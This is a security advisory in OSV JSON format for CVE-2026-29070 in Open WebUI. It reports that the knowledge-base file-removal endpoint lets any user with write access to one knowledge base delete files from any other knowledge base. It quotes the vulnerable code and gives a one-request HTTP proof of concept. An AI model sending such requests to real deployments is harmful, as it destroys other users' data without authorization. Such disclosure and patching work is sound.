CVE-2026-29070: Open webui Open WebUI Has Unauthorized Deletion Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-26gm-93rw-cchf",
  "modified" : "2026-03-27T15:35:19Z",
  "published" : "2026-03-27T15:35:19Z",
  "aliases" : [ "CVE-2026-29070" ],
  "summary" : "Open WebUI has unauthorized deletion of knowledge files",
  "details" : "### Summary\nAn access control check is missing when deleting a file from a knowledge base. The only check being done is that the user has write access to the knowledge base (or is admin), but NOT that the file actually belongs to this knowledge base. It is thus possible to delete arbitrary files from arbitrary knowledge bases (as long as one knows the file id)\n\n### Details\nThe source code at https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/knowledge.py#L803 does not properly validate that the file being deleted belongs to the current knowledge base:\n```\n@router.post(\"/{id}/file/remove\", response_model=Optional[KnowledgeFilesResponse])\ndef remove_file_from_knowledge_by_id(\n    id: str,\n    form_data: KnowledgeFileIdForm,\n    delete_file: bool = Query(True),\n    user=Depends(get_verified_user),\n    db: Session = Depends(get_session),\n):\n    knowledge = Knowledges.get_knowledge_by_id(id=id, db=db)\n    [...]\n    # Note  : Access control check on the knowledge base\n    if (\n        knowledge.user_id != user.id\n        and not AccessGrants.has_access(\n            user_id=user.id,\n            resource_type=\"knowledge\",\n            resource_id=knowledge.id,\n            permission=\"write\",\n            db=db,\n        )\n        and user.role != \"admin\"\n    ):\n        raise HTTPException(\n            status_code=status.HTTP_400_BAD_REQUEST,\n            detail=ERROR_MESSAGES.ACCESS_PROHIBITED,\n        )\n\n    file = Files.get_file_by_id(form_data.file_id, db=db)\n    [...]\n    # Note : No checks on the file\n\n    if delete_file:\n        try:\n            # Remove the file's collection from vector database\n            file_collection = f\"file-{form_data.file_id}\"\n            if VECTOR_DB_CLIENT.has_collection(collection_name=file_collection):\n                VECTOR_DB_CLIENT.delete_collection(collection_name=file_collection)\n        except Exception as e:\n            log.debug(\"This was most likely caused by bypassing embedding processing\")\n            log.debug(e)\n            pass\n\n        # Delete file from database\n        Files.delete_file_by_id(form_data.file_id, db=db)\n[...]\n```\n\n### PoC\nVictim has a knowledge base with a file (id: 9db6dcee-bb3b-483e-aaf3-310fda366af1)\nAttacker creates their own collection (id: dde9e2b6-21c9-4aa1-a1cf-8cb0e4392f2b)\nAttacker deletes the victim file from their own collection:\n```\nPOST /api/v1/knowledge/dde9e2b6-21c9-4aa1-a1cf-8cb0e4392f2b/file/remove HTTP/1.1\nHost: gaius-neo-val.fr.space.corp\nAuthorization: Bearer eyJhbGciOiJIUzI1[...]nHiaod-3vfNE0\n[...]\n\n{\"file_id\":\"9db6dcee-bb3b-483e-aaf3-310fda366af1\"}\n\n-----\n\nHTTP/1.1 200 OK\n[...]\n```\nThe file is then deleted from the victim's knowledge base.\n\n\n### Impact\nArbitrary file deletion",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "open-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-26gm-93rw-cchf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-29070"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/open-webui/open-webui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/knowledge.py#L803"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-27T15:35:19Z",
    "nvd_published_at" : "2026-03-27T00:16:22Z"
  }
}